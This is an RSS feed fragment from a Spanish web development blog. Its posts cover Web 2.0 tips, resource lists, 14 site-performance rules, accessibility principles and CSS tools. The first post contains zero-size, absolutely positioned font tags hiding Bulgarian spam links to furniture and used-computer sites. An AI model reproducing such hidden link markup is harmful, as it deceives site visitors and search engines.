			<content:encoded><![CDATA[<p>Actualmente se están viendo aplicaciones Web mucho más integradas que en el pasado, es decir, tienen componentes que se pueden distribuir en otras aplicaciones y además se están apoyando cada vez más en Web Services y APIs. También, se está viendo que la funcionalidad de las aplicaciones web está siendo atada en componentes distribuibles tales como widgets, gadgets, badges y aplicaciones SNS embebidas. Las aplicaciones Web de siguiente generación son mucho más sociales que las del pasado con características tales como listas de amigos, flujos de actividad, y agregación de otros sitios sociales. Las aplicaciones Web de siguiente generación están apoyándose en nuevas plataformas de desarrollo tales como <span style="x-small;"><a href="http://rubyonrails.org/" onclick="javascript:pageTracker._trackPageview('/http://rubyonrails.org/');">Ruby on Rails</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/" onclick="javascript:pageTracker._trackPageview('/http://www.videnov.com/');">мебели</a></font></span>, <a href="http://3tera.com/" onclick="javascript:pageTracker._trackPageview('/http://3tera.com/');">3tera</a>, <a href="http://www.amazon.com/gp/browse.html?node=201590011" onclick="javascript:pageTracker._trackPageview('/http://www.amazon.com/gp/browse.html?node=201590011');">Amazon&#8217;s EC2</a>, <a href="http://code.google.com/appengine/" onclick="javascript:pageTracker._trackPageview('/http://code.google.com/appengine/');">Google App Engine</a>.</p>
<p><img src="http://hinchcliffe.org/img/designelements_nextgen_web2.png" alt="" width="378" height="642" /></p>
<p>Ajax, Adobe’s <span class="caps">AIR</span>, Microsoft’s Silverlight, y Sun’s JavaFx son plataformas recientes para la creación de aplicaciones web ricas que sacan beneficio de las fortalezas de los individuos para crear nuevas experiencias de usuario altamente apremiante que antes no era posible. Aquí hay algunos tips de alto nivel para la construcción de aplicaciones Web 2.o.</p>
<ul>
<li><span style="bold;">Entender las bases de Web 2.o.</span></li>
<li>Reunir un equipo de desarrollo que esté dispuesto a aprender.</li>
<li><span style="bold;">Consumir tiempo para estudiar la competencia.</span></li>
<li><span style="bold;">Obtener el conocimiento de tus clientes para ofrecer lo que realmente necesitan.<br />
</span></li>
<li><span style="bold;">No perder de vista los fundamentos del Web 2.0</span><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/" onclick="javascript:pageTracker._trackPageview('/http://kvantservice.com/');">компютри втора употреба</a></font><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/" onclick="javascript:pageTracker._trackPageview('/http://www.videnov.com/');">мебели</a></font></li>
<li><span style="bold;">Usar las más recientes herramientas, tecnologías, aplicaciones, plataformas y ganar terreno en lo que ellas hacen.</span></li>
</ul>
<p><em><a href="http://web2.socialcomputingmagazine.com/tips_for_building_next_generation_web_20_applications.htm" onclick="javascript:pageTracker._trackPageview('/http://web2.socialcomputingmagazine.com/tips_for_building_next_generation_web_20_applications.htm');" target="_blank">Mas información (en inglés)</a></em></p>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Tips%20para%20construir%20aplicaciones%20Web%202.0&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Ftips-para-construir-aplicaciones-web-20%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Tips%20para%20construir%20aplicaciones%20Web%202.0&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Ftips-para-construir-aplicaciones-web-20%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/tips-para-construir-aplicaciones-web-20/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lista de recursos para Web 2.0</title>
		<link>http://www.caudalweb.com/blog/lista-de-recursos-para-web-20/</link>
		<comments>http://www.caudalweb.com/blog/lista-de-recursos-para-web-20/#comments</comments>
		<pubDate>Wed, 16 Apr 2008 05:36:59 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[recursos]]></category>
		<category><![CDATA[tecnologías]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/lista-de-recursos-para-web-20/</guid>
		<description><![CDATA[Esta es una lista de algunos recursos para Web 2.0 TechCrunch Es un blog lider en recursos Web 2.0 con inovador perfil de productos y compañias de internet. Mashable: Es un blog de noticias que incluye secciones dedicadas a MySpace, YouTube, Bebo, Facebook y Xanga. ReadWriteWeb: Este blog proporciona noticias, revisiones y análisis de tecnologías [...]]]></description>
			<content:encoded><![CDATA[<p>Esta es una lista de algunos recursos para Web 2.0</p>
<ul>
<li><a title="TechCrunch" href="http://www.techcrunch.com/" onclick="javascript:pageTracker._trackPageview('/http://www.techcrunch.com/');">TechCrunch </a> Es un blog lider en recursos Web 2.0  con inovador perfil de productos y compañias de internet.</li>
<li><a title="Mashable" href="http://www.mashable.com/" onclick="javascript:pageTracker._trackPageview('/http://www.mashable.com/');">Mashable</a>: Es un blog de noticias que incluye secciones dedicadas a MySpace, YouTube, Bebo, Facebook y Xanga.</li>
<li><a title="ReadWriteWeb" href="http://www.readwriteweb.com/" onclick="javascript:pageTracker._trackPageview('/http://www.readwriteweb.com/');">ReadWriteWeb</a>: Este blog proporciona noticias, revisiones y análisis de tecnologías web.</li>
<li><a title="GigaOM" href="http://www.gigaom.com/" onclick="javascript:pageTracker._trackPageview('/http://www.gigaom.com/');">GigaOM</a>: Es un blog de análisis y noticias de tecnología, su editor Om Malik es escritor formador de Business 2.0, Red Herring y Forbes.com.</li>
<li><a title="Dion Hingchcliffe's Web 2.0 Blog" href="http://web2.socialcomputingmagazine.com/" onclick="javascript:pageTracker._trackPageview('/http://web2.socialcomputingmagazine.com/');">Dion Hinchcliffe’s Web 2.0 Blog</a>: Es un blog de análisis y noticias Web 2.0.</li>
<li><a title="Matt Cutts'Blog" href="http://www.mattcutts.com/blog/" onclick="javascript:pageTracker._trackPageview('/http://www.mattcutts.com/blog/');">Matt Cutts’ Blog</a>: Es un blog de Matt Cutts, ingeniero de software de Google, y toca temas de gadgets, Google y SEO.</li>
<li><a title="O'Relly Radar" href="http://radar.oreilly.com/" onclick="javascript:pageTracker._trackPageview('/http://radar.oreilly.com/');">O’Reilly Radar</a>: Es un blog de Web 2.0, open source, tecnologías emergentes y más.</li>
<li><a title="SearchEngineLand" href="http://www.searchengineland.com/" onclick="javascript:pageTracker._trackPageview('/http://www.searchengineland.com/');">SearchEngineLand</a>: Es un blog de noticias de motores de búsqueda (google, yahoo, microsoft, etc.).</li>
<li><a title="SearchEngineWatch" href="http://searchenginewatch.com/" onclick="javascript:pageTracker._trackPageview('/http://searchenginewatch.com/');">SearchEngineWatch</a>: Noticias y análisis de la industria de los motores de búsqueda; incluye blogs, tutoriales, foros y más.</li>
<li><a title="Deitel Resource Centers" href="http://www.deitel.com/resourcecenters.html" onclick="javascript:pageTracker._trackPageview('/http://www.deitel.com/resourcecenters.html');">Deitel Resource Centers</a>: Es un repositorio de recursos de Web 2.o y de internet que incluye ligas, tutoriales, demos, herramientas de software grátis, artículos, libros, videos, podcasts, blogs, feeds RSS, etc.</li>
</ul>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Lista%20de%20recursos%20para%20Web%202.0&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Flista-de-recursos-para-web-20%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Lista%20de%20recursos%20para%20Web%202.0&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Flista-de-recursos-para-web-20%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/lista-de-recursos-para-web-20/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>14 reglas para mejorar el rendimiento de sitios web</title>
		<link>http://www.caudalweb.com/blog/14-reglas-para-mejorar-el-rendimiento-de-sitios-web/</link>
		<comments>http://www.caudalweb.com/blog/14-reglas-para-mejorar-el-rendimiento-de-sitios-web/#comments</comments>
		<pubDate>Sat, 24 Nov 2007 08:37:22 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[ajax]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/14-reglas-para-mejorar-el-rendimiento-de-sitios-web/</guid>
		<description><![CDATA[La mayoría de las veces nos enfocamos a optimizar nuestros servidores concentrándonos en las opciones de compilación, indexación de bases de datos, administración de la memoria, etc. Se gasta mucho tiempo en mejorar estos aspectos. En la realidad, para la mayoría de las páginas web, se gasta menos del 10-20% del tiempo de respuesta en [...]]]></description>
			<content:encoded><![CDATA[<p>La mayoría de las veces nos enfocamos a optimizar nuestros servidores concentrándonos en las opciones de compilación, indexación de bases de datos, administración de la memoria, etc. Se gasta mucho tiempo en mejorar estos aspectos. En la realidad, para la mayoría de las páginas web, se gasta menos del 10-20% del tiempo de respuesta en obtener el contenido HTML del servidor web hacia el browser; el otro 80–90% es gastado descargando los componentes de las páginas. A continuación se listan 14 reglas de oro que Steve Souders nos propone para mejorar el rendimiento de sitios web.</p>
<p><strong>Regla 1: Reducir el número de solicitudes HTTP</strong>. Hay técnicas que ayudan a reducir el número de solicitudes HTTP sin comprometer el diseño de las páginas.</p>
<p><strong>Regla 2: Usar un Content Delivery Network (CDN).</strong> Un CDN es una colección de servidores web distribuidos a través de múltiples localizaciones para entregar contenido a los usuarios más eficientemente.</p>
<p><strong>Regla 3: Agregar un Expirer Header.</strong> Se trata de asegurar que los componentes sean configurados para maximizar las capacidades del caché del browser.</p>
<p><strong>Regla 4: Componentes Gzip.</strong> Una variable que afecta el desempeño es el tamaño de la respuesta HTTP. Los componentes Gzip reducen el tamaño de los paquetes de respuesta que son transmitidos del servidor al cliente.</p>
<p><strong>Regla 5: Poner las hojas de estilo (CSS) en el inicio.</strong> Al final de varias pruebas e investigación se ha encontrado que para cuestiones de desempeño se debe de colocar las CSS&#8217;s en el HEAD usando la etiqueta LINK.</p>
<p><strong>Regla 6: Poner los scripts al final.</strong> Lo opuesto a las CSS&#8217;s, es mejor mover los scripts hacia el final de las páginas (siempre y cuando sea posible). Esto permite la renderización y descarga paralelamente.</p>
<p><strong>Regla 7: Evitar expresiones CSS.</strong> Las expresiones CSS son una poderosa (y peligrosa) forma de poner propiedades dinámicamente. Un problema es que no todos los browser las soportan y otro es que podrían ser re-evaluadas cada vez que la página cambia, por redimensionamiento, scrolling, movimiento del mouse, clicks, etc.</p>
<p><strong>Regla 8: Hacer externos los Javscripts y CSS&#8217;s.</strong> Esta regla hace que los componentes Javascript y CSS puedan ser cachados en el browser del usuario y ponerlos internos hace ineficiente la ventaja del cache del browser.</p>
<p><strong>Regla 9: Reducir los DNS Lookups. </strong>Un Domanin Name System (DNS) tiene el rol de mapear nombres de dominios en direcciones IP. El browser no descarga nada hasta que el DNS resuelve completamente el nombre del dominio. Este es tiempo que las páginas gastan en hacer DNS lookups. Reduciendo el número de hostnames únicos en la página web se reduce los DNS lookups pero tambien reduce la descarga paralela.</p>
<p><strong>Regla 10: Minimizar el JavaScript. </strong>Minificación es la práctica de remover los caracteres innecesarios del código para reducir su tamaño y de esta manera mejorar el tiempo de carga.</p>
<p><strong>Regla 11: Evitar redireccionamientos. </strong>Un redireccionamiento (redirect) es usado para enrutar los usuarios de una URL a otra. Regularmente son para documentos HTML pero también para requerir componentes (imagenes, scripts, etc.) en las páginas.</p>
<p><strong>Regla 12: Remover scripts duplicados. </strong>Incluir dos veces el mismo archivo Javascript afecta el desempeño. Este error no es raro, una revisión de sitios web mostró que CNN y YouTube contenían un script duplicado. Asegurarnos que los scripts sean incluidos una sola vez.</p>
<p><strong>Regla 13: Configurar ETags. </strong>Los Entity Tags (ETags) son un mecanismo que los servidores web y browser utilizan para validar los componentes cachados.</p>
<p><strong>Regla 14: Hacer AJAX cachable. </strong>Ajax tiene un gran impacto en el mundo Web 2.0 y con Ajax se puede lograr una mejora importante en el rendimiento. Aunque las solicitudes Ajax no son cachables, asegurarnos de que estas sigan los lineamientos, expecialemente de que tengan un futuro lejando de Expires Header.</p>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=14%20reglas%20para%20mejorar%20el%20rendimiento%20de%20sitios%20web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F14-reglas-para-mejorar-el-rendimiento-de-sitios-web%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=14%20reglas%20para%20mejorar%20el%20rendimiento%20de%20sitios%20web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F14-reglas-para-mejorar-el-rendimiento-de-sitios-web%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/14-reglas-para-mejorar-el-rendimiento-de-sitios-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 principios de accesibilidad web</title>
		<link>http://www.caudalweb.com/blog/10-principios-de-accesibilidad-web/</link>
		<comments>http://www.caudalweb.com/blog/10-principios-de-accesibilidad-web/#comments</comments>
		<pubDate>Fri, 23 Nov 2007 07:59:39 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[diseño]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/10-principios-de-accesibilidad-web/</guid>
		<description><![CDATA[Aplicar los siguientes principios es justo todo lo que se requiere para diseñar sitios web accesibles. Pero hay que entender y tratar de aplicarlos. Así se comienza. 1. Evitar hacer supocisiones acerca de las habilidades físicas, mentales y sensoriales de los usuarios. 2. Las tecnologias de los usuarios son capaces enviar y recibir texto. Esto [...]]]></description>
			<content:encoded><![CDATA[<p>Aplicar los siguientes principios es justo todo lo que se requiere para diseñar sitios web accesibles. Pero hay que entender y tratar de aplicarlos. Así se comienza.</p>
<p>1. Evitar hacer supocisiones acerca de las habilidades físicas, mentales y sensoriales de los usuarios.</p>
<p>2. Las tecnologias de los usuarios son capaces enviar y recibir texto. Esto es algo que siempre podremos dar por hecho.</p>
<p>3. El tiempo y la tecnología pertenecen a los usuarios, no a nosotros. Nunca debemos de tomar el control de ninguno de estos si no existe una buena razón para hacerlo.</p>
<p>4. Proporcionar buenos textos alternativos para cualquier contenido que no sea texto.</p>
<p>5. Usar ampliamente la tecnologia disponible para alcanzar al público.</p>
<p>6. Usar lenguaje claro para comunicar el mensaje.</p>
<p>7. Hacer sitios usables, encontrables, y navegables.</p>
<p>8. Diseñar contenido con enfoque semántico y mantener la separación entre contenido y presentación.</p>
<p>9. Progresívamente mejorar el contenido básico agregando características adicionales; pero permitir a los usuarios descartarlas cuando ellos no puedan o no quieran usarlas.</p>
<p>10. En las nuevas tecnologías web aplicar estos mismos principios para hacerlas accesibles.</p>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=10%20principios%20de%20accesibilidad%20web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F10-principios-de-accesibilidad-web%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=10%20principios%20de%20accesibilidad%20web&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F10-principios-de-accesibilidad-web%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/10-principios-de-accesibilidad-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Herramientas y recursos para desarrollo web &#8211; CSS</title>
		<link>http://www.caudalweb.com/blog/herramientas-y-recursos-para-desarrollo-web-css/</link>
		<comments>http://www.caudalweb.com/blog/herramientas-y-recursos-para-desarrollo-web-css/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 06:59:39 +0000</pubDate>
		<dc:creator>Felipe López Hernández</dc:creator>
				<category><![CDATA[css]]></category>
		<category><![CDATA[diseño]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.caudalweb.com/blog/herramientas-y-recursos-para-desarrollo-web-css/</guid>
		<description><![CDATA[CSS 456 Berea Street Numerosas guías y tutoriales sobre trucos avanzados CSS. CleanCSS.com Herramienta que te ayuda a limpiar y optimizar tus archivos CSS. CodeBeautifier.com Formateador de código CSS y optimizador, pero no es validador. CSS Tweak Te permite subir tu CSS y ajustarlo. CSS-Ref.com Herramienta para practicar tus habilidades CSS. CSSCreator.com Podrías crear una [...]]]></description>
			<content:encoded><![CDATA[<h2>CSS</h2>
<table border="0" cellPadding="0" cellSpacing="0">
<tr>
<td width="161"><a target="_blank" href="http://www.456bereastreet.com/lab/" onclick="javascript:pageTracker._trackPageview('/http://www.456bereastreet.com/lab/');">456 Berea Street</a></td>
<td width="267">Numerosas guías y tutoriales sobre trucos avanzados CSS.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.cleancss.com/" onclick="javascript:pageTracker._trackPageview('/http://www.cleancss.com/');">CleanCSS.com</a></td>
<td width="267">Herramienta que te ayuda a limpiar y optimizar tus archivos CSS.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.codebeautifier.com/" onclick="javascript:pageTracker._trackPageview('/http://www.codebeautifier.com/');">CodeBeautifier.com</a></td>
<td width="267">Formateador de código CSS y optimizador, pero no es validador.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.cssdev.com/csstweak/" onclick="javascript:pageTracker._trackPageview('/http://www.cssdev.com/csstweak/');">CSS Tweak</a></td>
<td width="267">Te permite subir tu CSS y ajustarlo.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.css-ref.com/" onclick="javascript:pageTracker._trackPageview('/http://www.css-ref.com/');">CSS-Ref.com</a></td>
<td width="267">Herramienta para practicar tus habilidades CSS.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://csscreator.com/?q=tools/layout" onclick="javascript:pageTracker._trackPageview('/http://csscreator.com/?q=tools/layout');">CSSCreator.com</a></td>
<td width="267">Podrías crear una página con un layout de tres columnas con un encabezado y un píe de página.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.cssdrive.com/index.php/main/csscompressor/" onclick="javascript:pageTracker._trackPageview('/http://www.cssdrive.com/index.php/main/csscompressor/');">CSSDrive Compressor</a></td>
<td width="267">Utilería para comprimir tus CSS ahorrándote espacio y ancho de banda y ganando velocidad de carga de las páginas.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.cssfly.net/" onclick="javascript:pageTracker._trackPageview('/http://www.cssfly.net/');">CSSFly.net</a></td>
<td width="267">Editor CSS browser que puede además crear código HTML.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.cssoptimiser.com/" onclick="javascript:pageTracker._trackPageview('/http://www.cssoptimiser.com/');">CSSOptimiser.com</a></td>
<td width="267">Herramienta para comprimir código CSS y permite la carga rápida de tus páginas.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.positioniseverything.net/articles/pie-maker/pagemaker_form.php" onclick="javascript:pageTracker._trackPageview('/http://www.positioniseverything.net/articles/pie-maker/pagemaker_form.php');">CSS Pagemaker</a></td>
<td width="267">Wizard para hacer páginas CSS a través de preguntas.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://services.immike.net/css-checker/" onclick="javascript:pageTracker._trackPageview('/http://services.immike.net/css-checker/');">CSS Redundancy Checker</a></td>
<td width="267">Te permite revisar URLs de llamadas redundantes y código repetido.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.colly.com/scripts/rollover.html" onclick="javascript:pageTracker._trackPageview('/http://www.colly.com/scripts/rollover.html');">CSS Rollover Generator</a></td>
<td width="267">Crea una imagen de cursor usando nada menos que CSS.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://isnoop.net/tools/css.php" onclick="javascript:pageTracker._trackPageview('/http://isnoop.net/tools/css.php');">CSS Superdouche</a></td>
<td width="267">Este sitio revisa tus CSS introduciendo la ruta de tus archivos CSS, los limpia y te genera un nuevo CSS, el cual podrás utilizarlo para reemplazar el original.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://csstidy.sourceforge.net/example.php" onclick="javascript:pageTracker._trackPageview('/http://csstidy.sourceforge.net/example.php');">CSSTidy</a></td>
<td width="267">Este es un proyecto de Sourceforge para optimizar y parsear CSS.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://riddle.pl/emcalc/" onclick="javascript:pageTracker._trackPageview('/http://riddle.pl/emcalc/');">Em Calculator</a></td>
<td width="267">Herramienta basada en javascript para hacer tu diseño CSS escalable.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.inknoise.com/experimental/layoutomatic.php" onclick="javascript:pageTracker._trackPageview('/http://www.inknoise.com/experimental/layoutomatic.php');">Layout-o-matic</a></td>
<td width="267">Herramienta que nos ayuda a generar layouts simples con algunas variaciones en las columnas.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.listulike.com/generator/" onclick="javascript:pageTracker._trackPageview('/http://www.listulike.com/generator/');">List-u-Like CSS Generator</a></td>
<td width="267">Te permite crear la barra de navegación basada en listas con con facilidad.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.roundedcornr.com/" onclick="javascript:pageTracker._trackPageview('/http://www.roundedcornr.com/');">RoundedCornr.com</a></td>
<td width="267">Genera imágenes y código HTMl y CSS con esquinas redondeadas y con gradientes.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://skycsstool.sourceforge.net/" onclick="javascript:pageTracker._trackPageview('/http://skycsstool.sourceforge.net/');">Sky CSS Tool</a></td>
<td width="267">Este sitio te permite formar tu CSS sin escribir código, solo necesitas tener habilitado javascript en tu browser.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.spiffycorners.com/" onclick="javascript:pageTracker._trackPageview('/http://www.spiffycorners.com/');">Spiffy Corners</a></td>
<td width="267">Es un sitio que genera cajas coloreadas con código CSS con esquinas redondeadas con la especificación que tu requieras.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://www.theboxoffice.be/" onclick="javascript:pageTracker._trackPageview('/http://www.theboxoffice.be/');">TheBoxOffice.be</a></td>
<td width="267">Generador de XHTML y CSS que te ayuda a envolver texto en torno de una imagen.</td>
</tr>
<tr>
<td width="161"><a target="_blank" href="http://builder.yaml.de/" onclick="javascript:pageTracker._trackPageview('/http://builder.yaml.de/');">YAML Builder</a></td>
<td width="267">Un editor en browser para codificar HTML/CSS con vista previa en tiempo real de cómo se vería tu página.</td>
</tr>
</table>
<p class="addtoany_share_save_container">
    <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Herramientas%20y%20recursos%20para%20desarrollo%20web%20%26%238211%3B%20CSS&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Fherramientas-y-recursos-para-desarrollo-web-css%2F" onclick="javascript:pageTracker._trackPageview('/http://www.addtoany.com/share_save?sitename=CaudalWeb%20Blog&amp;siteurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2F&amp;linkname=Herramientas%20y%20recursos%20para%20desarrollo%20web%20%26%238211%3B%20CSS&amp;linkurl=http%3A%2F%2Fwww.caudalweb.com%2Fblog%2Fherramientas-y-recursos-para-desarrollo-web-css%2F');">Compartir/guardar</a>

	</p>]]></content:encoded>
			<wfw:commentRss>http://www.caudalweb.com/blog/herramientas-y-recursos-para-desarrollo-web-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
